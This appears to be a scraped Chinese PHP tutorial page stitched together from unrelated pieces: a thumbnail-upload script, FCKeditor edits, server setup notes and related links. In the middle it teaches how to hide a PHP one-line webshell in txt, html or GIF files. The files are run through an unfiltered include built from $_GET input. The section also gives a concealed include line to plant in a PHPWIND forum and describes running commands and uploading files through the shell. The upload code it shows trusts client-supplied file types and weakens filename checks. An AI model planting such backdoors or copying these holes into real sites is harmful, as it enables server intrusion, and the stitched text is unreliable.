上传文件生成缩略图

 更新时间:2016年11月25日 15:29  点击:1608

昨天公司突然要一个上传文件带附件,还要一个带图片上传功能并且要生成缩略图效果,下面我就把我的代码贴出来吧.

首先来看看up.htm文件,代码如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
</head>

<body>
<form action="s.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <input type="file" name="image" id="image" />
  <label>
  <input type="submit" name="button" id="button" value="提交" />
  </label>
</form>
<label></label>
</body>
</html>
其实上页就是一个简单的htm 文件,把信息post给我们下面要讲到的文件s.php

if($_FILES['image']['name']){
    if($_FILES['image']['size']){
    if($_FILES['image']['type'] == "image/pjpeg"){
     $im = @imagecreatefromjpeg($_FILES['image']['tmp_name']);
     $n_bmp.='.jpg';
    }elseif($_FILES['image']['type'] == "image/x-png"){
     $im = @imagecreatefrompng($_FILES['image']['tmp_name']);
     $n_bmp.='.png';
    }elseif($_FILES['image']['type'] == "image/gif"){
     $im = @imagecreatefromgif($_FILES['image']['tmp_name']);
     $n_bmp.='.gif';
    }    
    }
    ResizeImage($im,120,60,md5(date("Y-m-d H:i:s")));    
    ImageDestroy ($im);
    $tag=1;
   }

 

function ResizeImage($im,$maxwidth,$maxheight,$name){
   $width = imagesx($im);
   $height = imagesy($im);
  if(($maxwidth && $width > $maxwidth) || ($maxheight && $height > $maxheight)){
   if($maxwidth && $width > $maxwidth){
   $widthratio = $maxwidth/$width;
   $RESIZEWIDTH=true;
   }
   if($maxheight && $height > $maxheight){
   $heightratio = $maxheight/$height;
   $RESIZEHEIGHT=true;
   }
  if($RESIZEWIDTH && $RESIZEHEIGHT){
  if($widthratio < $heightratio){
   $ratio = $widthratio;
   }else{
   $ratio = $heightratio;
   }
  }elseif($RESIZEWIDTH){
  $ratio = $widthratio;
  }elseif($RESIZEHEIGHT){
  $ratio = $heightratio;
  }
  $newwidth = $width * $ratio;
  $newheight = $height * $ratio;
  if(function_exists("imagecopyresampled")){
  $newim = imagecreatetruecolor($newwidth, $newheight);
  imagecopyresampled($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
  }else{
  $newim = imagecreate($newwidth, $newheight);
  imagecopyresized($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
  }
  ImageJpeg ($newim,$name . ".jpg");
  ImageDestroy ($newim);
  }else{
  ImageJpeg ($im,$name . ".jpg");
  }
  }

 

就这么简单了,上页这种就是生成文件到目录了,还有一种就生成二进制在网页显示,当然你也可以保存到数据库了.然后读出.


FCKeditor目前最新的版本是2.5.1,我花了点时间将里面一些文件进行了修改,更适合实际的应用.具体的修改过程请看说明,也可以直接下载修改后的程序,见附件.

1.删除editor/_source 目录
这是FCKeditor的源码,可以删除

2.删除editor/lang 目录中除en/zh/zh-cn的语言文件

3.删除editor/filemanage/connectors 除php的目录

4.修改fckconfig.js

修改默认语言.注:这一步应该可以忽略,FCKeditor好像会自动匹配浏览器的语言
找到


FCKConfig.DefaultLanguage = 'en' ;
修改为:


FCKConfig.DefaultLanguage = 'zh-cn' ;
扩展字体,增加常用中文字体
找到


FCKConfig.FontNames = 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
修改为:


FCKConfig.FontNames = '宋体;黑体;隶书;楷体_GB2312;Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
修改字号,FCKeditor中的字号是用"smaller;larger;xx-small;"等名称表示,不够直观,我们将其改成数字+px的形式
找到


FCKConfig.FontSizes = 'smaller;larger;xx-small;x-small;small;medium;large;x-large;xx-large' ;
修改为


FCKConfig.FontSizes  = '9px;10px;11px;12px;13px;14px;16px;18px;24px;36px' ;
5.修改editor/filemanage/connectors/php/config.php
FCKeditor默认是关闭文件上传的,如果要打开,必须修改这个文件
找到


$Config['Enabled'] = false ;
修改为


$Config['Enabled'] = true ;
6.修改editor/filemanage/connectors/php/io.php
FCKeditor在上传文件是不对文件名进行重命名,这会影响到用中文名命名的文件
找到

PHP代码:
// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
 global $Config ;
 $sNewFileName = stripslashes( $sNewFileName ) ;
 // Replace dots in the name with underscores (only one dot can be there... security issue).
 if ( $Config['ForceSingleExtension'] )
  $sNewFileName = preg_replace( '/\.(?![^.]*$)/', '_', $sNewFileName ) ;
 // Remove  / | : ? * " < >
 $sNewFileName = preg_replace( '/\\|\/|\||\:|\?|\*|"|<|>/', '_', $sNewFileName );
 return $sNewFileName ;
}


修改为

PHP代码:
// Do a cleanup of the file name to avoid possible problems
function SanitizeFileName( $sNewFileName )
{
 global $Config ;
 $sNewFileName = stripslashes( $sNewFileName ) ;
 // Replace dots in the name with underscores (only one dot can be there... security issue).
 if ( $Config['ForceSingleExtension'] )
  $sNewFileName = preg_replace( '/\.(?![^.]*$)/', '_', $sNewFileName ) ;
 $sExtension = substr( $sNewFileName, ( strrpos($sNewFileName, '.') + 1 ) ) ;
 $sNewFileName = my_setfilename().'.'.$sExtension;
 return $sNewFileName ;
}
function my_setfilename(){
 $gettime = explode(' ',microtime());
 $string = 'abcdefghijklmnopgrstuvwxyz0123456789';
 $rand = '';
 for ($x=0;$x<6;$x++)
  $rand .= substr($string,mt_rand(0,strlen($string)-1),1);
 return date("ymdHis").substr($gettime[0],2,6).$rand;
}


7.FCKeditor在上传文件时出现的一些提示框为英文,为了方便使用,可以选择将这些提示汉化,如果不需要,可以忽略这一步
具体是修改以下文件:
editor/filemanage/connectors/php/commands.php
editor/filemanage/connectors/php/connector.php
editor/filemanage/connectors/php/upload.php
editor/dialog/fck_flash/fck_flash.js
editor/dialog/fck_image/fck_image.js
editor/dialog/fck_link/fck_link.js

最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里,其实把一句话木马插入到PHP文件中就已经很隐蔽了,假如说硬是要放到HTML文件或图片里,就接着往下看的这篇测试报告吧。

要知道假如光把PHP语句放到图片里是无论如何也不能执行的,因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 :include 、require 等。

  我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include("x.gif")这样的语句来调用隐藏在图片的木马语句。ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。由于URL 里用GET方式很难传递参数,这就使得插入木马的性能得不到发挥。

  Include 函数在PHP中使用的比较频繁,所以引起的安全问题也实在太多,例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里,可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句:

CODE:

<?@include includ/.$PHPWIND_ROOT;?>

一般治理员是无法看出来的。

  有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。

  首先建立一PHP文件test.php 文件内容为:

CODE:
<?php
$test=$_GET['test'];
@include 'test/'.$test;
?>

  Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到 t.txt文件里。然后访问 hxxp://localhost/test/test.php?test=../t.txt 假如你看到t.txt的内容就证实Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入 hxxp://localhost/test/test.php?test=../t.txt 密码里添入cmd就可以了,执行返回的结果都可以看到。

  对于HTML的文件,一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来,我们可以在HTML里加入一个隐藏属性的文本框 ,如: 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 我可以得到目录为 C:Uniserver2_7swwwtest。

  下面我们说说图片文件,要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑,把插入到图片末尾

  经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入

  我们查看PHP环境变量 返回的是结果是原图片。

  这里可能要和我们想象的结果有些差距了,其实命令已经运行了,只是返回的结果看不到而已,因为这是真正的GIF文件,所以是不会显示返回结果的,为了证实是否真的执行了命令我们执行上传文件命令。果不出所料,文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。假如你想看到返回的结果,那就拿出记事本伪造一个假的图片文件吧。

安装AMP

apt-get install apache2 mysql-server php5 php5-mysql5

配置 Apache2 默认站点

vi /etc/apache2/sites-enabled/000-default

加入一行

RedirectMatch ^/$ /apache2-default/

试验这一步不需要

修改 Apache2 主配置

vi /etc/apache2/apache2.conf

要改为:

Include module configuration:

Include /etc/apache2/mods-enabled/*.load Include /etc/apache2/mods-enabled/*.conf

还有:

AddType application/x-httpd-php .php

AddType application/x-httpd-php-source .phps

重新启动 Apache2

/etc/init.d/apache2 reload

现在要配置 PHP 5

vi /etc/php5/apache2/php.ini

Php5 默认已经不支持 Mysql,为了打开支持,要修改

extension=mysql.so

设置 Mysql 根密码

默认安装的 Mysql,其 root 用户没有密码,实在危险,我们为他加一个密码。

mysqladmin -uroot password 'abc123'

其中abc123就是你的密码。

当然你也可以用下面的命令来设置密码:

mysql -u root mysql

mysql> update user set password=password('pass') where user='root';

为将要架设的站点建一个库及其用户

mysql -u root -p mysql

mysql> create database drupal;

mysql> use drupal;

mysql> grant all on drupal.* to drupal_user@localhost;

mysql> use mysql;

Database changed

mysql> update user set password=password('pass') where user = 'drupal_user';

Query OK, 1 row affected (0.00 sec)

Rows matched: 1 Changed: 1 Warnings: 0

mysql>q;

mysqladmin reload

一、首先把php的压缩包(这里以php4.3.2为例)解压到c:php-4.3.2-win32目录中,然后从其中找到一个叫php.ini-recommended的文件,把他更名为php.ini。

二、打开该文件,找到extension_dir = "./" ,将其改为 extension_dir = "c:php-4.3.2-win32extensions" ;再找到 session.save_path = /tmp ,将其改为 session.save_path = c:php-4.3.2-win32sessions 。(注:此时你需要在c:php-4.3.2-win32目录下建立sessions文件夹,以存放session 。)

三、将修改好的php.ini文件拷贝至c:winnt目录下,将c:php-4.3.2-win32下的php4ts.dll文件拷贝到c:winntsystem32目录下。

四、打开"internet服务治理器",选择你想支持php的站点,打开属性页,点击"isapi筛选器"选项卡,点击"添加",在弹出的"筛选器属性"窗口的"筛选器名称"中填入"php";在"可执行文件"中填入"c:php-4.3.2-win32sapiphp4isapi.dll"(如图一所示),点击确定。

五、点击"主目录"选项卡,选择"应用程序设置"中的"配置"按钮,在弹出的"应用程序配置"窗口中点击"添加"按钮,在弹出的"添加/编辑应用程序扩展名映射"窗口中的"可执行文件"中填入"c:php-4.3.2-win32sapiphp4isapi.dll","扩展名"一项填入"php" 。

ok,一切搞定,重起iis,到你的页面文件目录下写一个phpinfo,测试一下php文件能否被正确解析。假如产生500错误,请确定你没有忘记第三步。

[!--infotagslink--]

相关文章

  • php无刷新利用iframe实现页面无刷新上传文件(1/2)

    利用form表单的target属性和iframe 一、上传文件的一个php教程方法。 该方法接受一个$file参数,该参数为从客户端获取的$_files变量,返回重新命名后的文件名,如果上传失...2016-11-25
  • PHP判断上传文件类型的解决办法

    分享给大家php判断上传文件类型的方法,大家一起学习学习。/** * 读取文件前几个字节 判断文件类型 * @return String */ function checkTitle($filename){ $file=fopen($filename, "rb"); $bin=fread($file, 2); /...2015-10-21
  • c#生成高清缩略图的二个示例分享

    这篇文章主要介绍了c#生成高清缩略图的二个示例,需要的朋友可以参考下...2020-06-25
  • Vue使用formData格式类型上传文件的示例

    这篇文章主要介绍了Vue使用formData格式类型上传文件的示例代码,代码简单易懂,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-09-04
  • c# FTP上传文件实例代码(简易版)

    下面小编就为大家分享一篇c# FTP上传文件的实例代码,超简单哦~希望对大家有所帮助。一起跟随小编过来看看吧,...2020-06-25
  • PHP批量生成图片缩略图(1/5)

    这款批量生成缩略图代码可以生成指定大小的小图哦,并且支持文件批量上传。 这款教程会用到php文件 view.php config.php funs.php index.php 功能: -------...2016-11-25
  • C#实现为一张大尺寸图片创建缩略图的方法

    这篇文章主要介绍了C#实现为一张大尺寸图片创建缩略图的方法,涉及C#创建缩略图的相关图片操作技巧,需要的朋友可以参考下...2020-06-25
  • php 上传文件并生成缩略图代码

    if( isset($_FILES['upImg']) ) { if( $userGroup[$loginArr['group']]['upload'] == 0 ) { echo '{"error":"您所在的用户组无权上传图片!"}'; } else...2016-11-25
  • 阿里云OSS 通过表单直接上传文件 Post Policy例子

    本文章为各位简单介绍阿里云OSS 通过表单直接上传文件 Post Policy例子,这个例子非常的简单只需要简单的像php一样就可以了,具体如下。 代码如下 复制代...2016-11-25
  • yii实现使用CUploadedFile上传文件的方法

    这篇文章主要介绍了yii实现使用CUploadedFile上传文件的方法,结合具体的前端与后端处理代码实例分析了CUploadedFile类的使用方法,需要的朋友可以参考下...2015-12-31
  • CentOS下编译安装nginx及配置缩略图插件的方法教程

    这篇文章主要给大家介绍了在CentOS系统下编译安装nginx及配置缩略图插件的方法教程,文中给出了详细的安装步骤,对大家具有一定的参考价值,有需要的朋友们下面来一起看看吧。...2017-07-06
  • PHP响应post请求上传文件的方法

    这篇文章主要介绍了PHP响应post请求上传文件的方法,涉及php针对post传输数据处理的相关技巧,需要的朋友可以参考下...2015-12-21
  • c#多图片上传并生成缩略图的实例代码

    今天写了一个上传多张图片并生成缩略图的小程序。当然因为是菜鸟,所以写的一般。但还是学到了不少东西。现在上代码。...2021-09-22
  • Nginx配合php实现生成实时缩略图功能

    这篇文章主要介绍了Nginx配合php实现生成实时缩略图功能,这在一些特殊场合可能会要用到,需要的朋友可以参考下...2016-01-27
  • js通过canvas生成图片缩略图

    对于生成缩略图一般做法是通过后端语言php等来生成,但是为了给服务器减压,我们或许可以从前端来着手,先生成好不同尺寸的缩略图,传给后端,而后端只需要将前端传过来的图片进行存储就好了...2020-10-03
  • php 图片上传代码(具有生成缩略图与增加水印功能)

    这款图片上传源代码是一款可以上传图片并且还具有给上传的图片生成缩略图与增加水印功能哦,可以说是一款完美的图片上传类哦。 代码如下 复制代码 ...2016-11-25
  • asp.net fileupload控件上传文件与多文件上传

    这篇文章主要介绍了asp.net fileupload控件上传文件的方法,fileupload控件多文件上传,以及fileupload上传时实现文件验证的方法,需要的朋友可以参考下...2021-09-22
  • C# jpg缩略图函数代码

    生成jpg缩略图字节,本人的小软件中需要用到的功能,所以自己做了一个函数,和大家分享 为什么要生成字节而不是文件,这是为了方便后续处理啦^_^...2020-06-25
  • php支持生成缩略图文件上传代码

    <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1...2016-11-25
  • 解决ASP.NET Core Mvc文件上传限制问题实例

    本篇文章主要介绍了解决ASP.NET Core Mvc文件上传限制问题,具有一定的参考价值,有需要的可以了解一下。...2021-09-22